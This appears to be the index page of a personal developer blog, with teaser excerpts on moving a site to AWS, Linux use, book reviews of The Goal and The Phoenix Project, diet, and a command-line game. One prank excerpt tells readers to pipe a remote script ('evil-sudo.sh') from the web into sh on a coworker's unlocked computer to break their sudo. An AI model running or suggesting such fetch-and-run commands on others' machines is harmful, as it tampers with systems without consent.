I recently moved my website from Digital Ocean to AWS. Here’s the what and the why. Why Move? I had a perfectly good website set up on Digital Ocean. It was a single server running Linux, NGINX, MySQL and Laravel PHP. It was fast, and flexible. I never had downtime issues. So… why move? AWS knowledge is in demand, and I didn’t know AWS very well. There’s so much to AWS that you can’t learn without putting things into practice, and what better practice than hosting my own site?…

This article assumes basic knowledge of the command-line. It also assumes you are on Linux or Mac. There is also a video to accompany this blog post if you prefer. youtube: RrgxRXZf0vI Want to infuriate a coworker? Wait until they leave their computer unlocked. Open a terminal and run this command: curl files.tomontheinternet.com/evil-sudo.sh | sh Close the terminal. Now, whenever they try to use sudo, they’ll see this: 10d20d7815 EXCEPTION unknown (0313) Googling won’t help them, because that error is utter nonsense.…

I’m not sure why I use Linux. This blog post is me figuring out why. I want to be a better developer In MacOs, and to a lesser extent Windows, everything “just works” out of the box. This is not true in Linux, even with popular distros like Ubunutu or Fedora. In Linux, sometimes things just don’t work and I am becoming a better developer because of it. On a fresh install of Linux I often can’t connect to Wi-Fi.…

I got a new ThinkPad...

The Goal is a novel about a manufacturing plant on the verge of being shut down. Written in the 1980s by Eliyahu M. Goldratt, The Goal served as a guide on how to make American manufacturing plants able to compete with the Japanese. I didn’t read The Goal because I’m interested in 1980s manufacturing plants. I read it because it’s the book the The Phoenix Project is based on, and in a Reddit thread I was strongly encouraged to read The Goal.…

The Phoenix Project is novel about IT at a large company going horribly wrong and then improving. If that sounds interesting to you, you’re probably a very particular kind of geek, like me, who is interested in how technology can be best integrated into an organization. If that sounds boring to you, please never read this book. There’s a meme going around that all companies are now technology companies, and those companies that realize it too late are doomed.…

My parents are back in Canada for half a week. Just long enough to remind me that I could be eating better. Losing the weight I gained since moving to Canada has been something I’ve said I’d do for a while, but I never end up doing it. It’s not for lack of knowledge. I know how to lose weight, but I prioritize other things. My parents are vegans. My dad lost a lot of weight (“30 pounds, just like that!…

On Saturday (2019-01-12), I posted Hack, a game for web developers, on Reddit. For a few hours, it was the top post on the /r/webdev subreddit. (post here) What’s the big deal? To me, it was a big deal. A little game I made in my free time was enjoyed by hundreds of other web developers. This was the first time I put anything substantial out there, and it was well received.…

[A new version of Hack is in the works.] A couple months ago I started feeling self-concious about my command line Linux skills. There are levels to these things, you see, and I started feeling like I was stuck on level 2 or 3. I could navigate, update files, ssh into servers… but not too much else. A trip to Reddit told me that there was a game called Bandit that can help you improve your command line skills.…

[My blog no longer works like this, but this post is still fun.] I plan on blogging more and I’ve decided to host my own content. My blog was previously on Medium, but I wasn’t happy with that for a few reasons. What’s wrong with Medium? When I read something on Medium, I don’t care who the author is. All Medium articles look exactly the same, so it feels like they are all written by the same faceless person, and frankly, that faceless person is pretty boring.…